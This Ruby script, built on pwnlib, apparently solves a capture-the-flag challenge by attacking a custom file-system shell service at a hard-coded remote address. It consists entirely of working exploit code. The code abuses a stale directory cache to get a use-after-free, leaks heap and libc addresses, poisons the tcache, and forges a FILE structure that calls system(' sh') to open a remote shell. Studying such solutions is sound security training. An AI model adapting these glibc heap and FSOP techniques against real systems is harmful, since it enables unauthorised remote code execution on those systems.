```#coding:ascii-8bitrequire "pwnlib"  # https://github.com/Charo-IT/pwnlib
class PwnTube  def recv_until_prompt    recv_until("$ ")  endend
class Exploit  attr_reader :tube, :host, :port  attr_reader :offset, :got, :libc_offset
  def initialize(remote)    @remote = remote    if remote?      @host, @port = "34.146.195.242 31415".split    else      @host = "localhost"      @port = 11111    end    @port = @port&.to_i    @libc_offset = {      "main_arena" => 0x1f6c80,      "_IO_wfile_jumps" => 0x1f3240,      "system" => 0x4ebf0,      "stdout" => 0x1f7780,    }
    @offset = {    }
    @got = {    }  end
  def remote?    @remote  end
  def mkdir(name)    tube.recv_until_prompt    tube.sendline("mkdir #{name}")  end
  def touch(name)    tube.recv_until_prompt    tube.sendline("touch #{name}")  end
  def cd(name)    tube.recv_until_prompt    tube.sendline("cd #{name}")  end
  def rm(name)    tube.recv_until_prompt    tube.sendline("rm #{name}")  end
  def ls    tube.recv_until_prompt    tube.sendline("ls")  end
  def cat(name)    tube.recv_until_prompt    tube.sendline("cat #{name}")  end
  def mod(name, data)    tube.recv_until_prompt    tube.sendline("mod #{name}")    tube.recv_until("Write Here > ")    tube.sendline(data)  end
  def run    PwnTube.open(host, port){|t|      @tube = t
      puts "[*] leak heap base"      mkdir("dir1")      cd("dir1")      touch("file1")      mkdir("dir2")      cd("/dir1/dir2")  # add /dir1/dir2 to cache      cd("..")      cd("..")      rm("dir1")      cd("/dir1/dir2")  # cd to /dir1/dir2 via cache      cd("..")  # we can cd to dir1...      cat("file1")  # ... and read/write its files      heap_base = tube.recv_capture(/(.{5})\n/m)[0].ljust(16, "\0").unpack("Q")[0] << 12      puts "heap base = 0x%x" % heap_base
      puts "[*] get tcache control"      cd("dir2")      touch("file2")      touch("file3")      rm("file3")      rm("file2")      cd("..")      mod("file2", [(heap_base + 0x30) ^ ((heap_base + 0x700) >> 12)].pack("Q"))      cd("..")      touch("file4")      touch("tcache")
      puts "[*] leak libc base"      mkdir("dir3")      cd("dir3")      mkdir("dir4")      cd("/dir3/dir4")      cd("..")      touch("file5")  # victim      cd("..")      touch("file6")      touch("file7")      touch("file8")      touch("file9")      payload = ""      payload << [0, 1, 0, 0].pack("S*")      payload << "\0" * 0xe0      payload << [heap_base + 0xfe0].pack("Q")      mod("tcache", payload)      touch("victimsize")      mod("victimsize", [0, 0x4c1].pack("Q*"))      rm("dir3")      cd("/dir3/dir4")      cd("..")      cat("file5")      libc_base = tube.recv_capture(/(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60      puts "libc base = 0x%x" % libc_base
      puts "[*] prepare for fsop"      cd("..")      payload = "".ljust(0xe8, "\0").tap{|a|        a[0, 8] = " sh".ljust(8, "\0")        a[0x28, 8] = [1].pack("Q")        a[0x68, 8] = [libc_base + libc_offset["system"]].pack("Q")        a[0xa0, 8] = [heap_base + 0x1120].pack("Q")        a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q")        a[0xe0, 8] = [heap_base + 0x1120].pack("Q")      }      mod("file6", payload)
      puts "[*] overwrite stderr->_chain"      payload = ""      payload << [0, 1, 0, 0].pack("S*")      payload << "\0" * 0xe0      payload << [libc_base + libc_offset["stdout"] + 0x60].pack("Q")      mod("tcache", payload)      touch("fsop")      mod("fsop", [0, heap_base + 0x1120].pack("Q*"))
      puts "[*] launch shell"      tube.recv_until_prompt      tube.sendline("exit")
      tube.interactive    }  endend
Exploit.new(ARGV[0] == "r").run```